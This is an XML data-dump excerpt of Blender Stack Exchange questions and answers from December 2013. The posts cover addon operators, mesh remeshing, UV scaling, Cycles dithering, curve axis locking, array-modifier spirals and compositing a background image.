  <row Id="5786" PostTypeId="1" AcceptedAnswerId="5791" CreationDate="2013-12-25T02:10:38.300" Score="3" ViewCount="802" Body="&lt;p&gt;My addon needs just one button currently and I'd like it to work as a start/stop button. But on every button press Blender creates a new instance of the corresponding &lt;code&gt;bpy.types.Operator&lt;/code&gt; thus losing any connection to already created ones to stop them. What are the ways (if any) to circumvent this behaviour? How to make bpy.types.Panel button work with the same instance of operator?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The addon in question is &lt;code&gt;accelblend&lt;/code&gt;, intended to receive accelerometer data and rotate view accordingly. The operator is modular and keeps running in the background just fine. Source: &lt;a href=&quot;http://bazaar.launchpad.net/~xintx-ua/+junk/accelblend/view/head:/accelblend_receiver.py&quot; rel=&quot;nofollow&quot;&gt;http://bazaar.launchpad.net/~xintx-ua/+junk/accelblend/view/head:/accelblend_receiver.py&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1958" LastEditorUserId="1958" LastEditDate="2015-01-05T13:59:06.923" LastActivityDate="2015-01-05T13:59:06.923" Title="How to make operator data persistent?" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5787" PostTypeId="2" ParentId="5784" CreationDate="2013-12-25T02:24:40.433" Score="11" Body="&lt;p&gt;This rule may seem arbitrary, but looks like there's already some structure in existing operator's names. All registered operators will end up within &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_7/bpy.ops.html&quot;&gt;&lt;code&gt;bpy.ops&lt;/code&gt;&lt;/a&gt; module, and we can see that identifiers directly under it is reserved for modules/namespaces further categorizing the operators:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_7/bpy.ops.action.html&quot;&gt;&lt;code&gt;bpy.ops.action&lt;/code&gt;&lt;/a&gt; for animation data,&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_7/bpy.ops.object.html&quot;&gt;&lt;code&gt;bpy.ops.object&lt;/code&gt;&lt;/a&gt; for object, regardless of data type,&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_7/bpy.ops.ui.html&quot;&gt;&lt;code&gt;bpy.ops.ui&lt;/code&gt;&lt;/a&gt; for user interface,&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When we need an operator to quit Blender, it's available, grouped with other &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_7/bpy.ops.wm.html#bpy.ops.wm.quit_blender&quot;&gt;window management&lt;/a&gt; operators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I, too, didn't bother with naming, putting everything under &lt;code&gt;bpy.ops.object&lt;/code&gt;. But namespace distinction really helps to document, browse and search all the operators. Predictable identifier + Python console's &lt;em&gt;Autocomplete&lt;/em&gt; feature made it easier to discover and build upon existing operators, including those from other addons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if it has any other significance, but &lt;em&gt;self-documentation&lt;/em&gt; alone made the naming rule worthwhile to enforce.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-12-25T02:24:40.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5788" PostTypeId="2" ParentId="5776" CreationDate="2013-12-25T05:10:39.910" Score="1" Body="&lt;p&gt;I would just go for some retopo scheme.  If you overlap and align them both you can then build up a new mesh using conventional methods for generating clean meshes from ones that are not so clean.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem you are facing is very similar to the issues facing &lt;em&gt;Dynatopo&lt;/em&gt; sculpts so the solutions you have are pretty much the same as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once they are aligned properly with each other, you can select them both and merge them into one object, &lt;em&gt;Ctrl-J&lt;/em&gt;.  Next you can use the CG Cookie &lt;em&gt;Contours&lt;/em&gt; tool to rough out most of the new mesh that will be based on these two as one base.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also other methods that you can employ without using &lt;em&gt;Contours&lt;/em&gt;.  You can just start with a point in edit mode and extrude it out along the surface of the scanned models and by using the Magnet tool you can keep the points moving along the surface of the base mesh.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you model a low-poly, rough hand shaped model, you can use the Shrink Wrap modifier to project the new mesh onto the scanned models.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2013-12-26T04:32:27.637" LastActivityDate="2013-12-26T04:32:27.637" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5789" PostTypeId="2" ParentId="5776" CreationDate="2013-12-25T07:00:16.893" Score="1" Body="&lt;p&gt;You can use the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.62/Remesh_Modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;Remesh&lt;/a&gt;&lt;/em&gt; modifier for this.&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.62/Remesh_Modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The Remesh modifier is a tool for generating new mesh topology based on an input surface. The output follows the surface curvature of the input, but its topology contains only quads.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;position the top and the bottom objects appropriately so they overlap/intersect:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7ELlT.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select both hand objects and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; to join them into one object.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Remesh&lt;/em&gt; modifier:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dyVUB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This results in a manifold mesh with only quads. Note that the hand pieces must overlap in order to get a single mesh.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-25T07:00:16.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5790" PostTypeId="2" ParentId="5784" CreationDate="2013-12-25T08:20:02.290" Score="10" Body="&lt;p&gt;Developer note: in C code blenders operators are formatted &lt;code&gt;SOME_OT_operator&lt;/code&gt;, which gets converted to &lt;code&gt;some.operator&lt;/code&gt; in Python. To ensure the conversion can be done the &quot;.&quot; needs to be added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then we can expose all operators as &lt;code&gt;bpy.ops.some.operator()&lt;/code&gt; too, which is neat/logical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is arbitrary and we could have chosen not to do it, but I think having each tool in a named category is a good thing.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-12-25T08:20:02.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5791" PostTypeId="2" ParentId="5786" CreationDate="2013-12-25T10:54:38.057" Score="5" Body="&lt;p&gt;There are a few options open to you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes you can keep the operator instance by keeping the operator running, in this case you would need to start a modal operator, then use some action to trigger it (think the knife tool - it stays running and but act's when the mouse is dragged).&lt;br&gt;&lt;strong&gt;Note:&lt;/strong&gt; This is the most direct answer to your question - however its only really useful in specific cases.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Store the settings externally.&#xA;&lt;br&gt;&lt;em&gt;Typically when you store settings externally, the operators &lt;code&gt;invoke&lt;/code&gt; function will read from these settings when initializing.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In a Python dictionary outside the operator instance &lt;em&gt;(settings will be lost on restarting Blender unless you implement callbacks to write and restore them)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;In custom properties &lt;em&gt;(custom Scene properties is often used for this)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the addons user preferences &lt;em&gt;(not so good for per-blend-file data)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;In a text data block &lt;em&gt;(normally not optimal but including for completeness)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-12-27T23:43:48.243" LastActivityDate="2013-12-27T23:43:48.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5793" PostTypeId="1" CreationDate="2013-12-25T13:29:04.103" Score="6" ViewCount="4254" Body="&lt;p&gt;I wanted to ask, if there is a way to disable the automatic UV stretching after an image size got changed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/way6e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1436" LastEditorUserId="20" LastEditDate="2013-12-25T15:11:17.377" LastActivityDate="2013-12-26T16:29:50.507" Title="How to disable the automatic UV stretching after an image size is changed?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5794" PostTypeId="2" ParentId="5793" CreationDate="2013-12-25T14:27:57.150" Score="3" Body="&lt;p&gt;Normally, it is not likely to happen. You need to learn more about how the UV coordinate space works. However, you can correct it by manually scale it down to the old proportion if you really want to keep the aspect ratio of that UV:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's say the old image resolution is &lt;strong&gt;1000px * 1000px&lt;/strong&gt;, and the new resolution is &lt;strong&gt;500px * 1600px&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First, calculate two ratios: Rw=&lt;strong&gt;{image_width_old}/{image_width_new}&lt;/strong&gt; and Rh=&lt;strong&gt;{image_height_old}/{image_height_new}&lt;/strong&gt;. In this case, Rw=1000/500=2, and Rh=1000/1600=0.625.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;A&lt;/kbd&gt; to select all UV elements, and &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;, then &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;0.625&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;. Done.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Furthermore, if you just simply unwrap it directly by some of the unwrap methods listed in the &lt;strong&gt;U&lt;/strong&gt; menu (e.g. Project From View), then you can also consider do that again after switching to a different image, instead.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure this can also be done by scripting to make it semi-automatic, at least. So, welcome anyone who know the scripting version of this method and edit my answer.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2013-12-25T15:39:02.990" LastActivityDate="2013-12-25T15:39:02.990" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5795" PostTypeId="1" CreationDate="2013-12-25T15:07:17.893" Score="8" ViewCount="4107" Body="&lt;p&gt;What does Dither do in Cycles and what's the right value to set?&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="72" LastEditDate="2013-12-25T17:46:35.850" LastActivityDate="2013-12-25T18:31:55.110" Title="What does Dither do in Cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5796" PostTypeId="1" CreationDate="2013-12-25T16:20:56.590" Score="3" ViewCount="960" Body="&lt;p&gt;How would I lock an axis for a curve? I don't want the curve to go in a certain direction until I unlock it. I'm frequently finding that when I created a beveled curve, what looks like everything is on the same level, is actually higher and lower on the Z-Axis.&lt;/p&gt;&#xA;" OwnerUserId="1930" LastActivityDate="2013-12-25T20:05:02.843" Title="Locking an axis for a curve" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5797" PostTypeId="1" AcceptedAnswerId="5863" CreationDate="2013-12-25T17:07:18.643" Score="2" ViewCount="198" Body="&lt;p&gt;Based off of &lt;a href=&quot;http://www.youtube.com/watch?v=KdA7f421QWI&quot; rel=&quot;nofollow&quot;&gt;another tutorial&lt;/a&gt;, I'm trying to put together a script for an object that will apply a force to anything near it, essentially repelling it when the &quot;near&quot; logic brick is triggered.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic&#xA;&#xA;def _getForceMagnitude(distance, max_force, max_range):&#xA;    return (distance * (-max_force/max_range)) + max_force&#xA;&#xA;def repel():&#xA;&#xA;    scene = logic.getCurrentScene()&#xA;    cont = logic.getCurrentController()&#xA;    shield = cont.owner&#xA;&#xA;    for obj in scene.objects:&#xA;        vec = obj.worldPosition - shield.worldPosition&#xA;        vec.magnitude = _getForceMagnitude(vec.magnitude, 10, 4)&#xA;        vec.applyForce(vec)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1920" LastEditorUserId="41" LastEditDate="2013-12-25T18:33:36.073" LastActivityDate="2013-12-29T19:11:50.020" Title="What is wrong with my repel player script?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5798" PostTypeId="2" ParentId="5755" CreationDate="2013-12-25T17:34:01.840" Score="10" Body="&lt;p&gt;If you want to make a spiral from discrete objects, i.e. a discontinuous spiral, the array modifier is a nice way to do this. You would add an array modifier to the original object which is aligned (&lt;code&gt;Object Offset&lt;/code&gt;) on an Empty. Move that Empty up (Z-axis) and away (e.g. X-axis) from the original object. Then rotate the Empty around the Z-axis. The rotation angle and distance determines the radius and object density of the spiral. Don't forget to set a length in the array modifier, either a fixed count or a fixed length (or relative to the length of a curve).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact you can use this technique for continuous spirals as the array modifier allows merging. But this needs exact (but not hard) planning in the design of the object, the angles and distances. It is worth it when you want a finely decorated but repeating spiral.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JzkGv.jpg&quot; alt=&quot;Resulting spiral&quot;&gt;&#xA;Note that the cube is in the origin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rHC3q.jpg&quot; alt=&quot;Empty settings&quot;&gt;&#xA;Position and rotation of the Empty; in this example the absolute position is the same as the relative position to the cube. In reality you would probably parent it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dfBmb.jpg&quot; alt=&quot;Array modifier settings&quot;&gt;&#xA;The settings for the array modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can simply manipulate (or animate) the spiral by moving or rotating the Empty. Changing the scale of the Empty gives another nice effect.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As the question asked specifically for a simple tube I will give an explanation how to do this with this technique. But be aware that this only pays under certain circumstances (modelled segments, end caps) as it drives your vertex count way up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will model a spiral with 8 segments and a radius of 6 Blender Units (BU) and a distance between two turns of 2 BU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Add a plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) In &lt;em&gt;Edit Mode&lt;/em&gt; rotate it so it is perpendicular to the X axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) In &lt;em&gt;Edit Mode&lt;/em&gt; move it up 6 BU on the Y axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xkhzO.jpg&quot; alt=&quot;After step 3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Extrude &lt;kbd&gt;e&lt;/kbd&gt;, cancel &lt;kbd&gt;ESC&lt;/kbd&gt;. The newly created vertices are selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Select the 3D cursor as pivot in the lower via &lt;kbd&gt;.&lt;/kbd&gt;. (The cursor is still in the origin?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) Rotate by -45° around the Z axis. 45° because we want 8 segments. 360°/8 = 45°.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7) Go into face selection mode and delete the front faces so an empty tube stays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8) Select the extruded vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0sL9H.jpg&quot; alt=&quot;Extruded vertices selected&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;9) Now I will do a little simplification. In theory it is best to rotate the segment so that the segments will fit. The easier way for a simple tube is to slant the segment. Move up the vertices by 0.5 BU along the Z axis. 0.5 * 8 = 2, the distance between two turns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These basic shape determine the borders for you tube segment. Within these borders you can model, as long as the end vertices match. If you need something different than a square you should create that shape before extruding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10) Leave Edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;11) Add an Empty in the origin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;12) Rotate the Empty by 45°, move it up by 0.5 BU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;13) Select the tube object, add an array modifier. Uncheck &quot;Relative offset&quot;, check &quot;Object offset&quot;, select the Empty as Offset object; check &quot;Merge&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;14) By changing the &quot;Count&quot; you can easily determine the size of the spiral.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wQkrE.jpg&quot; alt=&quot;Final spiral&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you add an subdivision modifier and set the shading to smooth you get a smooth spiral.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number of segments determines when the pattern repeats. In fact you can easily build a 360° segment for a full rotation and just use a regular array modifier with relative offset to create a spiral.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use twisted elements where the front ends still align you can easily model things like ropes. But again, high vertex count, so it must be worth it.&lt;/p&gt;&#xA;" OwnerUserId="1946" LastEditorUserId="1946" LastEditDate="2013-12-27T12:28:56.540" LastActivityDate="2013-12-27T12:28:56.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5800" PostTypeId="2" ParentId="5795" CreationDate="2013-12-25T18:31:55.110" Score="9" Body="&lt;p&gt;Dithering is a post-processing step that reduces the banding caused by insufficient bitdepth by adding some controlled noise to the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dithering set to 0:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bIosd.png&quot; alt=&quot;0 dither&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dithering set to 1:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9lxGq.png&quot; alt=&quot;dither = 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Blender's internal renderer, I almost always set it to 1 to avoid banding, but with Cycles, it's less useful because Cycles introduces its own noise anyway.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2013-12-25T18:31:55.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5801" PostTypeId="2" ParentId="5796" CreationDate="2013-12-25T19:40:48.990" Score="1" Body="&lt;p&gt;You could try setting the curve shape to &lt;em&gt;2D&lt;/em&gt; in &lt;em&gt;Curve &gt; Shape&lt;/em&gt; until you want to adjust it in Z axis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3BY2C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you will still be able to rotate the curve in &lt;em&gt;Object Mode&lt;/em&gt;, so you can use this to lock the curve in any direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to fix the curve afterwards:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all the control points (&lt;kbd&gt;A&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ekXJq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale to &lt;code&gt;0&lt;/code&gt; on the axis you want to lock. E.g. &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;&lt;br&gt;&#xA;This will scale everything to be on a plane with the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Pivot_Point&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Pivot point&lt;/em&gt;&lt;/a&gt;, so you can easily control this by using the 3D cursor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E0y2L.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-12-25T20:05:02.843" LastActivityDate="2013-12-25T20:05:02.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5802" PostTypeId="1" AcceptedAnswerId="5803" CreationDate="2013-12-25T21:27:15.590" Score="5" ViewCount="22352" Body="&lt;p&gt;This is a diagram:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1RcAW.png&quot; alt=&quot;http://i.stack.imgur.com/1RcAW.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at the background carefully...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This background was made in compositing: &lt;a href=&quot;http://www.filedropper.com/xtruder22&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.filedropper.com/xtruder22&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I wanted to know whether I could put a better background gradient from a .jpg or .png file? e.g.: &lt;a href=&quot;http://www.shoutot.com/stockimage/black-gradient-background.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.shoutot.com/stockimage/black-gradient-background.jpg&lt;/a&gt; &lt;a href=&quot;http://fc07.deviantart.net/fs71/f/2013/042/c/3/gradient_toshiba_background_by_daproba-d5uo24e.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://fc07.deviantart.net/fs71/f/2013/042/c/3/gradient_toshiba_background_by_daproba-d5uo24e.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="1526" LastEditorUserId="55" LastEditDate="2013-12-26T23:13:52.673" LastActivityDate="2014-10-10T15:46:42.233" Title="How to composite in a background picture?" Tags="&lt;compositor&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5803" PostTypeId="2" ParentId="5802" CreationDate="2013-12-25T21:36:57.413" Score="4" Body="&lt;p&gt;Yes, you can do that with the mix node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;em&gt;Input&lt;/em&gt; &gt; &lt;em&gt;Image&lt;/em&gt; node to load in the background image, then use the &lt;em&gt;Mix&lt;/em&gt; node with alpha to put it behind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Node setup:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lWjrQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZelGO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-12-25T21:36:57.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5804" PostTypeId="2" ParentId="5802" CreationDate="2013-12-25T21:57:20.483" Score="6" Body="&lt;p&gt;Another option is an &lt;em&gt;Alpha over&lt;/em&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/58Lkr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/58Lkr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an &lt;em&gt;Image&lt;/em&gt; node (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Input &gt; Image&lt;/em&gt;) and open your background image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GEuag.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To crop or scale your background image to fit your render, add a &lt;em&gt;Scale&lt;/em&gt; node (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Distort &gt; Scale&lt;/em&gt;).&lt;br&gt;&#xA;Set the &lt;em&gt;Coordinate Space&lt;/em&gt; to &lt;em&gt;Render Size&lt;/em&gt;, and set the scale type. If your background image is larger than the render, you probably want to crop it. (select &lt;em&gt;Crop&lt;/em&gt;) However, if it is smaller and you want to scale it up, select &lt;em&gt;Fit&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pr1jR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Connect the nodes as shown above.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-12-26T23:55:07.097" LastActivityDate="2013-12-26T23:55:07.097" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5805" PostTypeId="2" ParentId="5689" CreationDate="2013-12-25T22:52:23.970" Score="0" Body="&lt;p&gt;So after discussion in another forum: &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?321310-Create-clip-for-more-objects&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?321310-Create-clip-for-more-objects&lt;/a&gt; It looks that it is not possible :( I can only use armature as workaround and use parenting objects. Bones dont have to be connected, so I can create only one bone for one object, but I can create clip for all bones together.&lt;/p&gt;&#xA;" OwnerUserId="1910" LastActivityDate="2013-12-25T22:52:23.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5806" PostTypeId="1" AcceptedAnswerId="5807" CreationDate="2013-12-26T10:15:42.590" Score="4" ViewCount="3097" Body="&lt;p&gt;I want to export the UV layout of a mesh but I can't seem to find the UVs menu in the image window to save the UV face layout (according to the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/UV/Applying_Image&quot; rel=&quot;nofollow&quot;&gt;blender wiki&lt;/a&gt;). I could of course use the plain &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.ops.uv.html&quot; rel=&quot;nofollow&quot;&gt;command&lt;/a&gt; but that seems like a bit of a workaround, and there is also a lot more in that UVs menu that I'm not able to acces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: the switch to edit mode did it&lt;/p&gt;&#xA;" OwnerUserId="1965" LastEditorUserId="1965" LastEditDate="2013-12-26T12:51:35.853" LastActivityDate="2013-12-26T12:51:35.853" Title="UVs button is missing" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;export&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
